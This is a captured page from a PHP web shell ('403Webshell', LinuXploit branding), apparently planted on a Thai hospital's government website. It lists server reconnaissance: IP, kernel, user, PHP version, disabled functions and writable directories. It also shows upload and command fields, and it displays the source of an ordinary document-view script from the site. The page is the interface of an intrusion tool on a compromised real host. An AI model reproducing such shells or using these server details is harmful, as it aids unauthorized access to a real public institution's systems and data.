403Webshell
Server IP : 104.21.73.108  /  Your IP : 216.73.216.59
Web Server : Apache/2
System : Linux cat167-197.static.lnwhostname.com 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
User : paphayomho ( 1042)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/paphayomho/domains/paphayomhospital.go.th/private_html/km_paphayom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/paphayomho/domains/paphayomhospital.go.th/private_html/km_paphayom//view_doc.php
<?php
include 'db.php';

if (isset($_GET['id'])) {
    $id = intval($_GET['id']);
    
    // 1. ดึงชื่อไฟล์จากฐานข้อมูล
    $res = $conn->query("SELECT file_url FROM km_documents WHERE doc_id = $id");
    
    if ($row = $res->fetch_assoc()) {
        $file_path = "uploads/" . $row['file_url'];
        
        // 2. ตรวจสอบว่ามีไฟล์จริงหรือไม่
        if (file_exists($file_path)) {
            // 3. อัปเดตยอดวิว (+1)
            $conn->query("UPDATE km_documents SET view_count = view_count + 1 WHERE doc_id = $id");
            
            // 4. Redirect ไปยังไฟล์จริง
            header("Location: " . $file_path);
            exit;
        } else {
            echo "<script>alert('ไม่พบไฟล์เอกสารในระบบ'); window.location='index.php';</script>";
        }
    } else {
        echo "<script>alert('ไม่พบข้อมูลเอกสาร'); window.location='index.php';</script>";
    }
} else {
    header("Location: index.php");
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit